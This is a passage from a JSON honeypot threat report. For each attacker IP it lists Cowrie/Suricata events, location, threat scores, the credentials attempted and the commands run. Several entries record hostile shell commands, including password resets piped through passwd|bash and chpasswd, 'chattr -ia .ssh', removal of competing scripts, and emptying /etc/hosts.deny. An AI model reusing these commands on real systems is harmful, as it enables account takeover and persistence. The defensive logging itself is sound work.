      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:16:28.093000+00:00",
        "last_seen_30d": "2026-05-07T05:17:42.169000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.181.177.229": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:12:34.262Z",
      "last_seen": "2026-05-12T16:14:34.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Balne\u00e1rio Cambori\u00fa",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:12:34.262000+00:00",
        "last_seen_30d": "2026-05-12T16:18:03.574000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.182.251.87": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:50:43.848Z",
      "last_seen": "2026-05-07T10:50:56.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 265719,
      "as_org": "ENZO RAUL GALVAN",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:50:43.848000+00:00",
        "last_seen_30d": "2026-05-07T10:54:43.773000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "190.61.118.177": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:28:10.725Z",
      "last_seen": "2026-05-05T05:28:23.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Tegucigalpa",
      "asn": 52468,
      "as_org": "UFINET PANAMA S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:28:10.725000+00:00",
        "last_seen_30d": "2026-05-05T05:29:25.740000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.220.21.9": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:06:47.997Z",
      "last_seen": "2026-05-07T01:07:01.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 52413,
      "as_org": "MADACOM SRL",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:06:47.997000+00:00",
        "last_seen_30d": "2026-05-07T01:08:09.581000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.92.218": {
      "attack_count": 2,
      "first_seen": "2026-05-08T14:57:59.176Z",
      "last_seen": "2026-05-08T14:58:12.147Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:57:59.176000+00:00",
        "last_seen_30d": "2026-05-08T14:59:22.307000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.233.53.62": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:53:46.941Z",
      "last_seen": "2026-05-22T12:54:46.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:53:46.941000+00:00",
        "last_seen_30d": "2026-05-22T12:55:46.909000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.15.22.131": {
      "attack_count": 2,
      "first_seen": "2026-05-09T00:00:15.027Z",
      "last_seen": "2026-05-09T00:00:28.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215623,
      "as_org": "Ooo lugalink",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:00:15.027000+00:00",
        "last_seen_30d": "2026-05-09T00:01:34.884000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.41.42.41": {
      "attack_count": 2,
      "first_seen": "2026-05-18T07:00:07.876Z",
      "last_seen": "2026-05-18T07:00:21.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "San Crist\u00f3bal",
      "asn": 271791,
      "as_org": "CABLE NORTE CA.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T07:00:07.876000+00:00",
        "last_seen_30d": "2026-05-18T07:01:29.104000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.144.229": {
      "attack_count": 2,
      "first_seen": "2026-05-07T18:22:04.362Z",
      "last_seen": "2026-05-07T18:22:17.864Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:22:04.362000+00:00",
        "last_seen_30d": "2026-05-07T18:23:26.217000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.81.146.24": {
      "attack_count": 2,
      "first_seen": "2026-05-02T11:10:54.345Z",
      "last_seen": "2026-05-02T11:11:07.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 208859,
      "as_org": "FACT LTD",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:10:54.345000+00:00",
        "last_seen_30d": "2026-05-02T11:12:08.107000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.37.114.88": {
      "attack_count": 2,
      "first_seen": "2026-05-03T12:37:01.088Z",
      "last_seen": "2026-05-03T12:37:15.017Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bhubaneswar",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T12:37:01.088000+00:00",
        "last_seen_30d": "2026-05-03T12:38:19.163000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.47.10.232": {
      "attack_count": 2,
      "first_seen": "2026-05-06T12:56:08.074Z",
      "last_seen": "2026-05-06T12:56:21.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Raipur",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:56:08.074000+00:00",
        "last_seen_30d": "2026-05-06T12:57:24.659000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.37.162.14": {
      "attack_count": 2,
      "first_seen": "2026-05-09T09:51:19.967Z",
      "last_seen": "2026-05-09T09:51:32.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 28885,
      "as_org": "Oman Telecommunications Company (S.A.O.G)",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:51:19.967000+00:00",
        "last_seen_30d": "2026-05-09T09:52:34.435000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.2.236.181": {
      "attack_count": 2,
      "first_seen": "2026-05-25T06:01:28.109Z",
      "last_seen": "2026-05-25T06:01:41.618Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:01:28.109000+00:00",
        "last_seen_30d": "2026-05-25T06:02:45.096000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.154.35.215": {
      "attack_count": 29451,
      "first_seen": "2026-05-02T00:04:30.407Z",
      "last_seen": "2026-05-31T23:21:59.927Z",
      "sessions": 4892,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "ddd",
        "authority",
        "ftp1",
        "ui",
        "a"
      ],
      "passwords_attempted": [
        "or4cl3",
        "ddd",
        "authority",
        "ftp1",
        "ui",
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41098,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:04:30.407000+00:00",
        "last_seen_30d": "2026-05-31T23:23:08.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29451,
        "Suricata": 11647
      }
    },
    "193.24.211.100": {
      "attack_count": 1316,
      "first_seen": "2026-05-14T01:16:30.923Z",
      "last_seen": "2026-05-31T01:25:25.116Z",
      "sessions": 256,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "pi",
        "user",
        "support",
        "test",
        "ftpuser",
        "ubnt",
        "Admin",
        "administrator",
        "odroid",
        "supervisor",
        "system",
        "RPM",
        "a",
        "alex",
        "debian",
        "ftp",
        "git",
        "logout"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "password",
        "root",
        "RPM",
        "test",
        "12345",
        "123456",
        "0l0ctyQh243O63uD",
        "1",
        "123",
        "12345678",
        "admin01",
        "admin1",
        "admin123",
        "pfsense",
        "service",
        "support",
        "123456789",
        "P@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 215929,
      "as_org": "Data Campus Limited",
      "threat_score": 59.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2123,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:16:30.923000+00:00",
        "last_seen_30d": "2026-05-31T01:26:33.114000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1316,
        "Suricata": 807
      }
    },
    "109.123.239.80": {
      "attack_count": 752,
      "first_seen": "2026-05-03T14:13:43.554Z",
      "last_seen": "2026-05-07T23:29:46.404Z",
      "sessions": 376,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 1159,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:13:43.554000+00:00",
        "last_seen_30d": "2026-05-07T23:32:45.060000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 752,
        "Suricata": 407
      }
    },
    "152.42.196.93": {
      "attack_count": 450,
      "first_seen": "2026-05-21T09:45:06.328Z",
      "last_seen": "2026-05-21T10:20:43.720Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "fu",
        "kubeadmin",
        "tiller",
        "zhao",
        "admin",
        "bind",
        "ho",
        "opensuse",
        "tencent",
        "v2ray",
        "vps",
        "wangfang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n0INJM9DAxqyp\\n0INJM9DAxqyp\\n\"|passwd",
        "echo \"ctrip\\nUj84iqdfzTpQ\\nUj84iqdfzTpQ\\n\"|passwd",
        "echo \"fu\\nLmjcTuD6KBME\\nLmjcTuD6KBME\\n\"|passwd",
        "echo \"kubernetes\\nEXSKfwCgZ2bR\\nEXSKfwCgZ2bR\\n\"|passwd",
        "echo \"tiller\\n7Uv36v3IPJ4l\\n7Uv36v3IPJ4l\\n\"|passwd",
        "echo -e \"123456\\n0INJM9DAxqyp\\n0INJM9DAxqyp\"|passwd|bash",
        "echo -e \"ctrip\\nUj84iqdfzTpQ\\nUj84iqdfzTpQ\"|passwd|bash",
        "echo -e \"fu\\nLmjcTuD6KBME\\nLmjcTuD6KBME\"|passwd|bash",
        "echo -e \"kubernetes\\nEXSKfwCgZ2bR\\nEXSKfwCgZ2bR\"|passwd|bash",
        "echo -e \"tiller\\n7Uv36v3IPJ4l\\n7Uv36v3IPJ4l\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 519,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:45:06.328000+00:00",
        "last_seen_30d": "2026-05-21T10:21:45.664000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 69
      }
    },
    "223.230.2.30": {
      "attack_count": 426,
      "first_seen": "2026-05-09T00:17:16.847Z",
      "last_seen": "2026-05-09T01:25:50.127Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "root",
        "guest",
        "postgres",
        "sdtdserver",
        "sysadmin",
        "test",
        "test3",
        "ubuntu",
        "user",
        "vncuser",
        "webdeploy",
        "administrator",
        "cmsadmin",
        "deployer",
        "ftptest",
        "git",
        "mysql",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "qwerty",
        "123123",
        "1234",
        "123456",
        "1234567",
        "1qq2w3e4r5t",
        "P@SVVORD",
        "Password1",
        "abc123",
        "abc12345",
        "admin123...",
        "admin@pass",
        "aini130.",
        "database",
        "guest12345",
        "kuanke",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nwxyhhVYyyIvb\\nwxyhhVYyyIvb\\n\"|passwd",
        "echo \"guest12345\\nkWBhMBY1L7rX\\nkWBhMBY1L7rX\\n\"|passwd",
        "echo \"qwerty\\nvEJTU7UO5iwD\\nvEJTU7UO5iwD\\n\"|passwd",
        "echo \"webdeploy\\nk6dTSw0vPkpL\\nk6dTSw0vPkpL\\n\"|passwd",
        "echo -e \"1234\\nwxyhhVYyyIvb\\nwxyhhVYyyIvb\"|passwd|bash",
        "echo -e \"guest12345\\nkWBhMBY1L7rX\\nkWBhMBY1L7rX\"|passwd|bash",
        "echo -e \"qwerty\\nvEJTU7UO5iwD\\nvEJTU7UO5iwD\"|passwd|bash",
        "echo -e \"webdeploy\\nk6dTSw0vPkpL\\nk6dTSw0vPkpL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Secunderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 509,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:17:16.847000+00:00",
        "last_seen_30d": "2026-05-09T01:26:58.329000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 83
      }
    },
    "170.106.117.181": {
      "attack_count": 382,
      "first_seen": "2026-05-17T04:40:49.254Z",
      "last_seen": "2026-05-17T05:07:54.123Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1987",
        "20192019",
        "2wsx#EDC",
        "88888888",
        "Asd123456",
        "Hola123",
        "Test@123",
        "b0ll0ck5",
        "ddd!@#$%^&",
        "dhis",
        "golden",
        "johnny",
        "kundan",
        "pa55word",
        "plunga471",
        "postgresql",
        "qwerty1234567890",
        "redhat@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:oPrIE6FZ4yHD\"|chpasswd|bash",
        "echo \"root:pgxArZSvh4zF\"|chpasswd|bash",
        "echo \"root:s0KmLTUKFiAn\"|chpasswd|bash",
        "echo \"root:vpQvrqH3wmU3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:40:49.254000+00:00",
        "last_seen_30d": "2026-05-17T05:08:54.477000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 65
      }
    },
    "43.173.88.125": {
      "attack_count": 382,
      "first_seen": "2026-05-16T10:04:10.766Z",
      "last_seen": "2026-05-16T10:34:42.588Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "admin",
        "alex",
        "ghostuser",
        "jbernal",
        "minikube",
        "security",
        "sftp_user",
        "toor",
        "user",
        "user3",
        "web-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@34QWer",
        "!Q2w3e4r",
        "000000",
        "123",
        "20192019",
        "228228",
        "456",
        "Ls123456",
        "Root@1234567",
        "a123123.",
        "admin123!@#",
        "d3pl0y1234",
        "deploy@2023",
        "ghostuser",
        "minikube",
        "root",
        "security1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
